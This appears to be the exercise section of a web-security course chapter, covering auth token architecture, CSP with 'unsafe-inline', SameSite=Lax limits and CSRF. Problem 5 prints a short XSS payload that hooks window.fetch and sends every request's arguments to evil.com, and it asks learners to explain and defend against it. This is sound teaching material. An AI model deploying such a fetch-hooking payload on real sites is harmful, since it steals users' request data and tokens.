You are building an authentication system for a fintech SaaS product with the following requirements: users stay logged in for 30 days, the app makes API calls to api.yourproduct.com from app.yourproduct.com, a third-party iframe widget is embedded on the dashboard for a banking data aggregator, and the security team requires that a compromised user session can be invalidated within 60 seconds from the server side. Design the complete token storage and transmission architecture: where each token is stored, which headers each request carries, what CORS configuration is required, how the 60-second invalidation works despite browser caching, and what security headers the server must send. Identify every attack vector this design protects against and every residual risk.
Problem 3 — Synthesis
A Next.js application has the following CSP header:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; img-src *; connect-src 'self' https://api.example.com
An attacker has found a stored XSS vulnerability in the comment system — they can inject arbitrary HTML that reaches innerHTML of a page element. Using your understanding of CSP enforcement, the XSS attack surface, and CORS, answer: (1) what can the attacker's injected script do given this CSP, (2) what can it NOT do, (3) what single change to the CSP would have the highest impact on limiting the damage, and (4) why does 'unsafe-inline' in script-src effectively nullify most of CSP's XSS protection — derive this from the physical CSP enforcement mechanism rather than stating it as a rule.
Problem 4 — Go Deeper
The SameSite=Lax cookie attribute prevents CSRF on POST requests but allows cookies on top-level GET navigations. A developer reasons: "My state-modifying endpoints all require POST, so SameSite=Lax is sufficient CSRF protection without tokens." This reasoning has a specific flaw that becomes exploitable under a specific condition. Using your understanding of what "top-level navigation" means physically (what the browser does vs what a form submission does), identify the condition under which SameSite=Lax is insufficient even for non-GET endpoints. Then explain why the combination of SameSite=Lax AND a CSRF token provides defence-in-depth that neither alone provides.
Problem 5 — Previous Chapter Connection (FE-10)
In FE-10 you learned that the scope chain is the physical mechanism behind closures, and that closures keep their outer variable environment alive as long as the closure itself is reachable. An XSS payload executes in a page's JavaScript context and runs this code:
const originalFetch = window.fetch
window.fetch = function(...args) {
const clonedArgs = JSON.stringify(args)
originalFetch('https://evil.com/log?data=' + encodeURIComponent(clonedArgs))
return originalFetch.apply(this, args)
}
Using your understanding of the JavaScript execution context, the scope chain, and the global object, explain precisely why this attack works — what the closure captures, what window.fetch replacement means for all subsequent fetch calls including those made by React Query, authentication libraries, and any other code on the page. Then explain what CSP directive would prevent the exfiltration call (originalFetch('https://evil.com/...')) and why it works at the physical level (which browser mechanism enforces it and at which point in the fetch lifecycle the block occurs). Finally, design a defence that prevents the monkey-patching itself rather than just blocking the exfiltration.
What Comes After This Series
You now have the complete picture. FE-00 through FE-11 has taken you from the physical pixels on the GPU through the network stack, the JavaScript runtime, and the security model that holds the web together. You can diagnose a slow page by tracing the rendering pipeline. You can reduce a bundle by understanding the module graph. You can prevent a security breach by understanding what the browser permits and what it protects. You can reason about any JavaScript behaviour by tracing execution contexts and the scope chain. You can design any frontend system — real-time, data-heavy, collaborative, AI-powered — by deriving the architecture from the physical constraints.
What happens next is not reading. It is building. Take the most complex feature in one of your live products and apply this complete mental model to it. Find the LCP bottleneck. Profile the memory. Audit the security headers. Trace a closure that might be leaking. The chapter you cannot read your way through is the chapter called production — and you are now prepared for it.